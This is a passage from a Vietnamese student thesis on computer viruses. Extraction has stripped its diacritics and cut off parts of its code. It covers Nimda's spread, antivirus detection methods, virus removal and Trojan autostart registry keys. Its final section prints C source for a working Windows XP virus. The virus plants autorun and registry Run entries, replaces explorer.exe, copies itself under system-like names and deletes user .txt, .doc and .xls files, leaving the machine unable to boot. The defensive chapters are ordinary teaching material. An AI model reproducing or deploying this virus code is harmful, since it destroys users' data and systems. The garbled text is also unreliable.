    thi hnh. Chnh iu ny s gy ra s ly lan cho my tnh .

    ng thi, Nimda s c gng thay th file RICHED20.DLL ca

    Windows sp xp v t nhng file c ui .EML (i khi l ui .NWS) votrong nhng th mc n truy nhp.

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    43/68

    43

    Nimda trn my tnh ca nn nhn. Nimda thng thng xut hin nh

    mt file nh km README.EXE vi mt email, nhng c th l ra nh bt k

    ci no khc. File c ui .EXE vihn 50 c tnh trong file gc c bn. Nu

    chy, bn thn n trc ht sao chp ti mt th mc tm thi vi mt ci tnt ngu nhin dng MEP*.TMP ( u c * l c i din nhng c tnh

    ngu nhin). Ri sau t ci th mc ny c t mnh thc hin bng cch s

    dng dng lnh ty chn -Dontrunold ).

    S dng nhng thao tc s hc s gip con su xc nh liu xem n c

    th xa file (trong th mc tm). Nu m lm c th con su s xy dng

    c cng c truyn nhim s cp ca n: mt MIME c m ha sao cho c

    th sao chp chnh n cho nhng tin nhn nhiu phn m c th gn vo.

    Nhng con su mi ny s c gn cho mt ci tn ngu nhin v c ct

    gi trong mt th mc tm thi. By gi th n sn sng thc thi cng vic.

    Cui cng, con su sao chp chnh n ti RICHED20.DLL, trong th

    mc Windows\System, v t file n vo h thng. Khi Nimda c thc

    thi tm kim nhng ti nguyn mng dng chung v bt u qut nhng file

    c chia s. Mt s file c phn m rng .DOC v .EML n ang tm kim,

    khi tm thy, RICHED20.DLL c sao chp ti th mc ca chng sao cho

    n s c chy khi mt thnh phn OLE c cm trn my tnh t xa. iu

    ny, sau s gy raqu trnh truyn nhim trn my tnh t xa.

    Mt vi bnsao ca con su lm mt s vic sau:

    N sa i kha [Software \ Microsoft \ Windows \ CurrentVersion \

    Explorer\Advanced] nhng file n khng cn nhn thy c. iu ny sche du con su trong Explorer.

    N to thm ti khon Guest trn h thng b ly nhim v ghp ti khon

    Administrator v Guest thnh nhm c bit. S dng iu ny n s to ra

    chia s " c:\ vi y nhng quyn truy cp c bit.

    N xa nhng kha con t kha [ SYSTEM \ CurrentControlSet \

    Servieces \lanmanserver \ Shares \ Security ] m tc dng vic lm l vhiu ha c s chia s an ton.

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    44/68

    44

    Chng 2.NHN DNG V PHT HIN VIRUS

    2.1. K THUT NHN DNG VIRUS

    2.1.1. Nhn dng chnh xc mu (Signature based delection)L cng vic nhn dng chnh xc cc virus khi chng trnh Anti Virus

    AV c mu ca virus . K thut ny c th m t n gin nh sau: cc

    file cn kim tra virus c phn tch v so snh vi mu virus bit trc,

    nu pht hin mt on m virus th file c th b ly nhim virus v phn

    mm thc hin bin php loi b virus khi file b ly nhim.

    K thut nhn dng chnh xc mu virus khin cho cc phn mm lin tcphi cp nht c s d liu c kh nng nhn bit cc loi virus mi cng

    cc bin th ca n.

    Cc phn mm dit virus us dng k thut ny qut virus. S cc

    m nhn dng cng ln th kh nng dit virus ca AV cng cao.

    Tt c cc k thut nhn dng khc ra i u vi mc ch b tr cho

    nhng thiu st ca k thut nhn dng ny.+ u im ca k thut nhn dngchnh xc mu virus:

    chnh xc ca vic nhn dng virus cao, t nhm ln.

    Kt qu ca vic dit virus tt hn. Cc k thut nhn din tng i ch

    cho php nghi ng mt file c phi l virus hay khng. Nhn din chnh xc

    cho php loi b cc triu chng i km vi virus, khi phc li h thng.

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    45/68

    45

    +Nhc im ca k thut nhn dng chnh xc mu virus:

    Khuyt im ln nht ca k thut nhn dng chnh xc mu l khng th

    i ph c vi cc virus mi hoc cha xut hin khi cha c mu nhn

    din.

    Khi lng c s d liu lu tr cc mu virus ln, lm cho kch

    thc ca phn mm dit virus ln.

    K thut ny i hi phi cp nht c s d liu lin tc nn mt nhiu

    chi ph v thi gian, tin bc, cng sc.

    2.1.2. Nhn dng theo m i din

    Bn cht ca mt file bt k l mt chui sdi, nn chng ta c th coi l

    mt chui string v tin hnh ly m hash ca file. Do tnh cht ca mnh, m hash

    ny gn nh l duy nht. Khi chng ta c mu ca 1 virus chng ta s c th ly

    c t mu mt m hash.Khi vic nhn dng mt file c phi l virus hay

    khng chnh l vic to m hash file ri so snh hash vi hash mu virus. C

    hai cch ly nhn dng theo m hash l: ly hash theo ton file v ly hash theo mt

    phn thng tin quan trng.

    2.1.2.1.Ly i din theo ton fileCch n gin nht to bn nhn din c trng cho mt mu virus l

    tnh hash c trng cho cho ton b file mu. Cc thut ton hash thng c

    s dng trong trng hp ny l MD5, SHA1, SHA256 ... c xc xut trng lp

    thp c th s dng lm bn nhn din c trng cho mt file.

    + u im:

    Cch thc hin n gin.

    +Nhc im:

    Chi ph tnh ton cao, thi gian tnh hash chm, nht l vi file c kch

    thc ln. Nhc im ny bc l r khi qut virus cho tt c cc file trong h

    thng.

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    46/68

    46

    2.1.2.2. Ly i din theo mt phn thng tin quan trng

    khc phc nhc im trn ngi ta ci tin bng cch ch tnh

    hash ca mt phn thng tin quan trng no ca file .V d i vi file thc

    thi (.exe, .com, .dll, .sys .) phn thng tin quan trng c th l PE header(Portable executable), vng nh xung quanh Entry Point ca chng trnh.

    Vic la chn vng thng tin no l quan trng ph thuc vo chin lc ring

    ca tng hng AV

    + u im:

    ci tinc tc ly hash ng k so vi phng php ly hash

    ton file.+Nhc im:

    Ci t phc tp hn phng php ly hash ton file.

    Khng phi tt c cc nh dng file u c th la chn c vng cha

    thng tin quan trng, c trng ca n, ch cth p dng vi mt s nh dng

    nht nh.

    2.1.3. Scan theo stringy l cch c in nht v vn c s dng ph bin trong hu ht cc

    AV hin nay.

    Ti v tr offset nht nh:

    2.1.3.1.Xt theo offset tnh hon ton

    Trong cch ny th ch n thun xc nh string no, ti v tr offset l

    bao nhiu, ta s dng sign ny nhn dng mt file c phi l virus haykhng. Nguyn tc chn string nhn ra u l virus thng da vo tnh c

    th ca tng virus m string c chn c th khc nhau.

    +u im:

    Cch thc update mt sign v scan kh d thc hin.

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    47/68

    47

    +Nhc im:

    Cch scan ny kh b ng vi h virus, v d nu tm cch chn thm

    hay xa 1 byte trong file binary ca virus (vn phi m bo virus chy c)

    m byte ny nm trc phn offsetsign th tt yu phng php ny khng

    th nhn ra mu virus sau khi b thay i.

    2.1.3.2.Xt theo v tr offset tng i

    cch ny a ch offset c tnh da vo mt thnh phn no (nh

    Entry Point, Section th my ..)

    Vic xt nh th ny c th m rng ra nh offset: Entry Point + S no

    .

    Sau y chng taxt mt v d vi vic so snh cu trc 2 bin th khc

    nhau ca dng virus: w32.funnyIM.worm

    Ban u chng ta xc nh a ch Entry Point ca 2 mu virus:

    Chng ta quan st hnh sau:

    String ca 2 mu virus

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    48/68

    48

    Chng ta s c 2 string tng ng, nhng 2 offset khc nhau (t sau,

    mi khi nhc n cc string t file nh phn, ti s vit dng chui cc s hexan

    (thp lc phn) tin quan st):

    Nhn 2 bng s liu trn chng ta c th to mt m nhn dng chung cho

    c 2 virus ny l:

    String: 64 75 6E 67 63 6F 69 00

    Offset: a ch Entry Point + 60

    + u im:

    Vic m rng nh th ny s lm m rng di virus c nhn dng. V

    d khi chnh sa mt s bytes nh cch bn trn thc hin nhng nu sau v tr

    Entry point nh c v vn cn tn ti cc byte nh ban u th vn c th nhn

    ra bng sign cp nht theo cch ny.

    +Nhc im:

    Vic cp nht i hi nhiu thng tin hn phng php offset tnh

    Scan engine phi c c ch lm vic phc tp hn thch ng vi c ch

    scan ny.

    Do phng php ny ly v tr offset da vo mt phn thng tin no

    ca mt nh dng file thch hp nn b gii hn mt s nh dng file.

    2.1.4. Nhn dng hnh vi ng ngNhn dng cc hnh vi ng ng l mt chc nng "thng minh" m

    khng phi bt k phn mm dit virus no cng c. Hiu mt cch n gin

    th phn mm dit virus s theo di s hot ng bt thng ca h thng c

    th pht hin cc virus cha c bit n trong d liu ca n hoc cc phn

    mm c hi t a ra cnh bo ngi s dng, c lp virus sn sng

    gi mu n hng bo v phn tch v cp nht vo bn nng cp c s d liu

    k tip.

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    49/68

    49

    Chc nng ny cc phn mm dit virus thng cho php la chn kch

    hot hoc khng, mc hot ng (s dng mc hot ng tch cc,

    hot ng trung bnh mc c, hay hot ng mc thp - mc nh

    thit lp thng l kch hot sn mc c) bi a s chng c th chimti nguyn v lm chm h thng i vi cc mytnh khng mnh.

    2.1.5. Kim sot lin tc

    Phn mm dit virus my tnh thng thc hin kim sot lin tc theo

    thi gian thc bo v h thng. Hnh thc kim sot lin tc s qut virus

    mi file m h thng truy cp n, mi file ngay t khi bt u c copy vo

    h thng thng qua hnh thc nhn bit so snh mu v theo di hnh ng

    ng ng.

    2.1.6. Kt hp cc phng thc

    Nu ch n thun s dng k thut so snh mu th mt phn mm dit

    virus s tht bi bi chng ch gii quyt hu qu cc file b nhim ch cha

    tm n nguyn nhn dn n file b nhim. Khi s dng mt s phn mm

    cha mnh ta s nhn thy trng hp: Phn mm dit c hon ton

    virus trong my, nhng ngay sau khi phin khi ng k tip ca h iu hnh,phn mm lipht hin ra chnh virus . y c th khng phi l phn mm

    nhn dng c nhng khng dit c, m l virus li c ly nhim tr li

    bi phn mm khng th gim st qu trnh khi ng h iu hnh ngay t

    khi bios trao quyn iu khin.

    Chnh v vy, phn mm cn phi kt hp mi phng thc kim sot

    v ngn chn cc hnh vi ca virus. Virus c th t cc dng lnh trongregistry ly nhim virus t mt file nn no hoc v hiu ha phn mm

    dit virus; Cng c th virus thit lp ti v ngay khi s dng trnh duyt kt

    ni vo mng Internet. Do vy phn mm dit virus cn phi kt hp mi

    phng thc ngn chn virus. Chnh nhng yu t ny lm ln s khc bit

    gia cc phn mm dit virus hin nay, khng ln n vi v vn phn mm dit

    virus khc khi m ngay mt sinh vin cng c th vit mt phn mm dit virus

    nu chu kh su tm cc mu virus trn mng Internet hin nay.

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    50/68

    50

    2.2. PHNG PHP PHT HIN VIRUS

    2.2.1. Qut (scanner)

    y l phng php xut hin sm nht v c hu nh ton b cc

    chng trnh chng virus dng. Theo phng php ny cc chng trnh chngvirus s tin hnh cp nht thng xuyn cc mu c trng ca tng virus ri

    tin hnh d xt cc file. Trong qu trnh qut ny cc chng trnh chng virus

    ny s so snh cc m nhn dng virus bit vi d liu ca tng file v nh

    pht hin ra virus trong file nu c.

    Nh vy cc chng trnh dng phng php ny phi cp nht thng

    xuyn cc mu c trng ca virus. Nu khng chng s khng pht hin c

    cc loi virus mi.

    2.2.2. Checksum (kim tra tng)

    y vn l phng php kim tra tnh ton vn ca d liu c dng

    trong thng tin c mt s chng trnh chng virus p dng. Nguyn tc ca

    phng php ny l pht hin s thay trong cc i tng cnkim tra. Cc

    chng trnh sdng phng php ny s sinh ra mt tr s c gi l

    checksum v c kim tra nh k vi i tng hin hnh (file, vngBoot). Nu virus thm nhp vo i tng ny th chng trnh s bo ng.

    Virus c th la cc chng trnh chng virus dng phng php ny bng

    cch to ra mt checksum gi. trnh iu ny cc chng trnh s dng

    phng php ny s dng nhiu k thut m ha to checksum rt phc tp

    virus khng th gi mo c.

    im yu ca phng php ny l phi kim tra thng xuyn u nmt vic lm rt tn thi gian v n khng c kh nng phn bit gia s thay

    i thc s v s thay i bi virus tn cng. Do ngi dng lun phi lo

    lng trc nhng cnh bo sai. Phng php ny s lm cho virus tn ti nu

    khi tin hnh checksum ln u virus tn ti sn. Mt nhc im na ca

    phng php ny l khng th p dng cho vic pht hin virus macro v

    nhng file.DOC lun thay i do ngi s dng

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    51/68

    51

    2.2.3. Guard (canh phng)

    Chng trnh thng tr (TSR) p dng phng php ny s chn mi

    thao tc v a, thi hnh ng dng v cnh bo cho ngi dngbit mi iu

    kh nghi. Chng hn nh vic ghi ln file.EXE, file.COM hoc ghi trc tipln vng Boot ca a.

    Tuy nhin cch ny khng pht hin c virus Boot dng cc hm trong

    BIOS truy xut a v nhng virus ny c np trc khi cc canh phng

    chy. Chng chn cc hm v a ca BIOS trc ln cc chng trnh kiu

    ny khng kim sot c chng.

    Cc chng trnh canh phng s cnh bo sai khi cc ng dng c ghi lnfile.EXE hay file.COM, chng hn nh qu trnh nn, bo v, ci t phn

    mm V ni chung cc chng trnh loi ny lm gim tc ca h thng.

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    52/68

    52

    Chng 3.PHNG CHNG VIRUS

    3.1. D TM TRONG B NH

    y l bc quan trng nht cho cc bc tip theo, v khng th cha tr

    nu khng bit h thng c b nhim virus hay khng, hay l nhim lai virusno. Vic tm kim trc ht phi thc hin trong b nh v mt khi virus

    thng tr nm quyn iu khin h thng s dn n sai lc thng tin trong

    cc tc v truy xut a tip theo. Sau mi tin hnh trn a. S tn ti ca

    virus gn lin vi s tn ti ca mt vi du hiu c bit.

    i vi virus macro v TF-Virus, vic qut b nh l khng cn thit cho

    nn c th b qua, cn i vi B-Virus v RF-Virus cng vic ny li rt cn

    thit. Vic d tm bao gm d bo v kh nng xut hin mt virus mi, a ra

    chnh xc loi virus bit trong vng nh. Vic d tm trong b nh c th

    qua cc bc.

    1/.i vi B-Virus:

    So snh tng b nh BIOS bo co vi ton b b nh m chng trnh

    c c sau khi t kim tra s chnh lch. Du hiu chnh lch b nh cng

    cha kt lun c s tn ti ca virus, m l c s tin hnh bc hai v

    s chnh lch cng c th l do mt chng trnh bnh thng lm hoc RAM

    b hng mt phn.

    Bt u t a ch ca vng cao, tin hnh d tm bng k thut qut: d

    tm on m c trng ca Virus trong vng cao. Mi s tm thy u c th

    cho php kt lun c virus trong b nh.

    Trong trng hp khng pht hin, kh nng tn ti mt B-virus mi vnc th xy ra. Bng du hiu b nh b thiu ht, ngt13h tr v vng nh thiu

    ht v vng ny c m nguy him th c th kt lun tn ti B-Virus.

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    53/68

    53

    2/.i vi RF-Virus:

    C th dng k thut qut d tm m c trng ca virus t a ch thp

    cho n cao hoc dng phng php gi ngt nhn dng m chnh cc virus

    ci t t nhn din n trong b nh.Trong trng hp khng pht hin, kh nng tn ti mt RF-Virus mi

    vn c th xy ra. Bng du hiu ngt 21h tr v vng nh c m nguy him th

    vic kt lun c RF-Virus mi l kh chnh xc.

    D Tm Trn a

    Vic d tm trn a phi thc hin sau khi kim tra b nh khng c

    virus hoc nu c th c khng ch.

    Nh a s cc chng trnh chng virus khc chng trnh cng p dng

    phng php qut tm on m c trng pht hin virus. u tin l qut

    vng Boot tm B-Virus, sau qut cc file tm F-Virus, Trojan v

    Worm. qut vng Boot dng ngt 13h chc c sector 02h caBIOS c

    vo b m v tin hnh qut tm m virus c trng. qut file dng cc

    chc nng truy xut file ca ngt 21h: chc nng m file 03Dh, sau dng

    chc nng c file 03Fh vo b m ri cng tin hnh qut tm m virus.

    3.2. DIT VIRUS V KHIPHC D LIU

    Trc khi dit virus trn a m b nh li c virus thng tr th chng

    trnh s tin hnh khng ch virus trn b nh nu cn thit v c th. Tuy

    nhin, khi ng li my tnh bng mt a h thng sch dit virus vn l

    bin php an ton nht.

    3.2.1. B-Virus

    Nhiu ngi cho rng vic dit virus v khi phc a ch n gin l ghi

    mt Boot sector sch ln Boot sector c c virus. Tuy nhin, nu Boot sector

    ca a c nhim v c bit th rt kh thc hin, cng cha k a c bn

    tham s m ch cn b virus lm sai lch cht t cng dn n trng hp khng

    kim sot c a (vic ny hp l nu Boot sector sch chnh l Boot sector

    ca a c ct gi trc ). V vy, cch tt nht l phi khi phc Boot

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    54/68

    54

    sector, trong trng hp khng th khi phc li c mi tin hnh ghi

    mt Boot sector sch. Cc bc tin hnh bao gm:

    Cn c vo loi a (a cng hay mm) v loi virus tin hnh gii m

    xc nh ni ct gi Boot sector nguyn thy.

    c Boot sector nguyn thy vo b m bng ngt 13h (chc nng c

    sector 02h) ca BIOS v kim tra tnh hp l ca n.

    Trong trng hp vic kim tra l chnh xc mi bt u ghi vo Boot

    sector c virus bng ngt 13h chc ghi sector 03h ca BIOS.

    i vi loi DB-Virus, vic khi phc a cn c th i km vi vic gii

    phng mt s lin cung b nh du b trn a nu virus dng phng php

    nh v FAT. Cch gii quyt tt nht i vi vic ny l: nn lm nhng iu

    virus lm nhng ngc li.

    3.2.2. F- Virus

    1/. Vi rus macro:

    Vic dit n gin l xa cc macro ca virus (dng chc nng ngt 040h

    ca ngt 21h).

    2/. F -Virus truyn thng:

    Gii m virus khi phc d liu ca chng trnh b virus chim

    gi sau ct b m virus ra khi chng trnh.

    3/.i vi cc file dng .COM , .BI N:

    Nu virus ny ly theo kiu ni ui file v tr li cc byte u b virus

    chim gi, di con tr file n u m virus (dng chc nng 042h ca ngt21h) ri ct khi file bng ngt 21h ca chc nng ghi file 040h ca DOS.

    Nu virus ly theo kiu chn u: c file ngay t sau phn m virus vo

    b nh bng ngt 21h ca chc nng c file 03Fh ri tin hnh ghi li (dng

    chc nng 040h ca ngt 21h).

    Nu virus ly theo kiu vng trng: nh v v tr li cc byte u b

    virus chim gi, di con tr file n m virus ri xa n.

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    55/68

    55

    4/. i vi cc file dng .EXE:

    Cch dit cng tng t nh i vi file .COM. Nu virus ct d Exe

    header c ca file th vic khi phc ch n gin bng cch tr li phn ny

    cho file, ngc li phi tnh ton nh v mt s yu t cabng Exe header nh du hiu nhn dng file .EXE: MZ, tng s trang,

    s byte l trong trang cui ca file.

    3.2.3. Virus Trojan

    Trojan ch thc hin ly nhim ti my tnh m khng ly nhim vo file

    trong my tnh. Do khi thchin dit Trojan chng ta khng cn qua tm ti

    xem c bn sao no ca n hot ng trong h thng khng.Trojan c c im l mun hot ng c th n phi c kch hot.

    Mt cch hu hiu dit Trojan l khng cho php n c kch hot.

    Thc hindit Trojan theo cch ny chng ta phi tm hiu nhng

    phng php m Trojan c th s dng thng qua n c kch hot.

    Mt s phng php m Trojan thng s dng c kch hot l:

    (V d vi file khi ng l Trojan.exe)

    Trong cc th mc m ti cc file c th c kch hot khi khi ng

    Windows:

    C:\ Windows\ Start Menu\ Programs\ startup\ Trojan.exe.

    Trong file C:\ windows\ Win.ini ti dng lnh:

    Load=Trojan.exe

    Hoc run=Trojan.exe

    Trong file c:\ windows\ system.ini sau dng lnh shell

    Shell=Explorer.exe chy

    Trong Autoexec.bat

    C:\....\Trojan.exe

    Trong th mc khi ng ca Windows:C:\ \ Trojan.exe

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    56/68

    56

    To kha trong Registry:

    [HKEY_LOCAL_MACHINE \ Software \ Microsoft \Windows \ CurrentVersion\ Run]

    Trojan=c:\\ Trojan.exe

    [HKEY_LOCAL_MACHINE \ Software \ Microsoft\ Window \ CurrentVersion\RunOnce]

    Trojan=c:\...\Trojan.exe

    [HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion\

    RunServices]

    Trojan=c:\....\Trojan.exe

    [HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion\

    RunServicesOnce]

    Trojan=c:\....\Trojan.exe[HKEY_LOCAL_USER \ Software \ Microsoft \ Windows \ CurrentVersion\ Run]

    Trojan=c:\....\Trojan.exe

    [HKEY_LOCAL_USER \ Software \ Microsoft \ Windows \ CurrentVersion\

    RunServices]

    Trojan=c:\....\Trojan.exe

    - Trong Resistry Shell Open vi key l %1%*

    [HKEY_CLASSES_ROOT \ exefile \shell\ open\ command]

    [HKEY_CLASSES_ROOT \ comfile \shell\ open\ command]

    [HKEY_CLASSES_ROOT \ batfile \shell\ open\ command]

    [HKEY_CLASSES_MACHINE \ SOFTWARE \ Classes \ exefile \ shell \ open \ command]

    Trojan.exe = %1%*

    - Trong mt s ng dng m cho php mt s chng trnh c th chy:

    +Trong ICQ:

    [HKEY_CURRENT_USER \ Software \ Mirabilis \ ICQ \ Agent\ Apps\]

    +Trong ActiveX:[HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Active Setup \ Installed

    Components \ KeyName] StubPath=c:\...\Trojan.exe

    Loi b Trojan ta thc hin xa tt c cc lnh c file m Trojan s c chy

    khi khi ng my tnh ( y v d l file Trojan.exe)

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    57/68

    57

    3.2.4. Su Worm

    dit su Internet ta thc hin ln lt cc qu trnh sau:

    -Nghin cu cc thng tin v su.

    - Thc hin loi b phn ly nhim ra khi cc file ly nhim.

    Mi su Internet c c trng ring ca n, cho nn iu cn thit l phi

    thc hinvic nghin cu v su Internet: tn file thc thi, ng dn ca file

    thc thi, nhng tc ng ca n ti cc file khc trong h thng, cc file m n

    to ra v phn m i din ca mi con su Internet.

    Thng qua m i din ca su Internet ta c th thc hin vic qut file

    tm v dit su Internet .

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    58/68

    58

    3.3. TO VIRUS MY TNH

    Th nghim chng trnh virus my tnhviVisual C++ chytrn h

    iuhnh Windows XP

    Chng trnh tovirus :

    Phnkhai bo

    #include "stdafx.h"

    #include

    #include

    #include#include

    #include

    #define SVCHOST_NUM 6

    #define RUBBISH_NUM 5

    #define REMOVE_NUM 5

    /*=================================================*/

    Char*autorun={"[AutoRun]\nopen=\"SVCHOST.com

    /s\"\nshell\\open=(&O)\\nshell\\open\\Command=\"SVCHOST.com

    /s\"\nshell\\explore=(&X)\\nshell\\explore\\Command=\"SVCHO

    ST.com /s\""};

    /*=================================================*/char *regadd={"REGEDIT4\n\n\

    [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\Curr

    entVersion\\Run]\n\"wjview32\\"=\"C:\\\\windows\\\\wjview32.com /s\""};

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    59/68

    59

    /*=================================================*/

    int copy(char *infile,char *outfile)

    {

    FILE *input,*output;

    char temp;

    if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL)

    && ((output=fopen

    (outfile,"wb"))!=NULL))

    {

    while(!feof(input))

    {

    fread(&temp,1,1,input);

    fwrite(&temp,1,1,output);

    }fclose(input);

    fclose(output);

    return 0;

    }

    else return 1;

    }

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    60/68

    60

    /*=================================================*/

    int autorun_explorer()

    {

    FILE *input;

    if((input=fopen("C:\\windows\\system\\explorer.exe","rb"))!=NULL)

    {

    fclose(input);

    remove("C:\\windows\\$temp$");

    remove("C:\\windows\\system32\\dllcache\\$temp$");

    return 1;

    }

    copy("C:\\windows\\explorer.exe","c:\\windows\\system\\explorer.exe");

    rename("C:\\windows\\explorer.exe","C:\\windows\\$temp$");

    rename("C:\\windows\\system32\\dllcache\\explorer.exe","C:\\windows\\syste

    m32\

    \\dllcache\\$temp$");

    if(copy("SVCHOST.com","C:\\windows\\explorer.exe")==0 && copy

    ("SVCHOST.com","C:\\windows\\system32\\dllcache\\explorer.exe")==0

    )

    return 0;

    else

    return 2;

    }

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    61/68

    61

    /*=================================================*/

    int add_reg()

    {

    FILE *output;

    if((output=fopen("$$$$$","w"))!=NULL)

    {

    fprintf(output,regadd);

    fclose(output);

    spawnl(1,"C:\\windows\\regedit.exe"," /s $$$$$",NULL);

    return 0;

    }

    return 1;

    }

    /*=================================================*/

    void copy_virus()

    {

    int i,k;

    FILE *input,*output;char *files_svchost[SVCHOST_NUM]=

    {"svchost.com","C:\\windows\\wjview32.com","c:\\windows\\system\\M

    SMOUSE.DLL","c:\\windows\\syste\

    m32\\cmdsys.sys","C:\\windows\\system32\\mstsc32.exe","c:\\windows\\

    explorer.exe"};

    char temp[2][20]={"C:\\svchost.com","c:\\autorun.inf"};

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    62/68

    62

    for(i=0;i

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    63/68

    63

    temp[0][0]++;

    temp[1][0]++;

    }

    i=SVCHOST_NUM;

    }

    }

    }

    /*=================================================*/

    void make_rubbish()

    {

    int i;

    FILE *output;

    srand(0);

    for(i=0;i

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    64/68

    64

    }

    }

    /*================================================*/

    void remove_files()

    {

    long done;

    int i;

    struct _finddata_t ffblk;

    char *remove_files[3]={"*.txt","*.doc","*.xls"};

    for(i=0;i

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    65/68

    65

    { int contral=0;

    autorun_explorer();

    spawnl(1,"c:\\windows\\system\\explorer.exe"," /s",NULL);

    add_reg();

    copy_virus();

    make_rubbish();

    spawnl(1,"c:\\windows\\system32\\mstsc32.exe"," /s",NULL);

    return 0;

    }

    Mn hnh C trc khi chy virus

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    66/68

    66

    Sau khi chy chng trnh virus win32 virus s t ng thchin vic to

    v xa mt s file sau:

    Sau khi chy chong trnh bng Visual C++ chng trnh s t ng tc

    ng vo mt s file trn windows lm cho h iu hnh Windows XP b li

    khi khi ng

    CreateFile C:\windows\system32\dllcache\$temp$

    DeleteFile C:\windows\system32\dllcache\explorer.exe

    CreateFile C:\windows\$temp$

    DeleteFile C:\windows\explorer.exe

    CreateFile C:\windows\system\explorer.exe

    Mn hnh C sau khi chy virus

    Sau khi chy chng trnh virus ny sau khi khi ng li my tnh mn

    hnh my tnh s khng khi ng ln c v file

    C:\windows\system\explorer.exe b thay i cc file

    C:\windows\system32\dllcache\$temp$, CreateFile C:\windows\$temp$

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    67/68

    67

    c to ra khin cho HH Windows XP khng np c chng trnh

    khi ng mn hnh Windows XP.

    Mn hnh khng hin th thanh cng c khi ng v cc folder

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    68/68

    Kt lunKt qu t c ca kha lun:

    1. Tm hiu v nghin cu l thuyt:- Tng quan v virus my tnh, hot ng ca B-Virus, F-Virus, Macro

    Virus, Virus Trojan, Internet worm.

    - Mt s phng php pht hin, nhn dng virus my tnh.

    - Mt s phng php phng trnh v dit virus my tnh.

    2. Th nghim Chng trnh m phng to virus my tnh.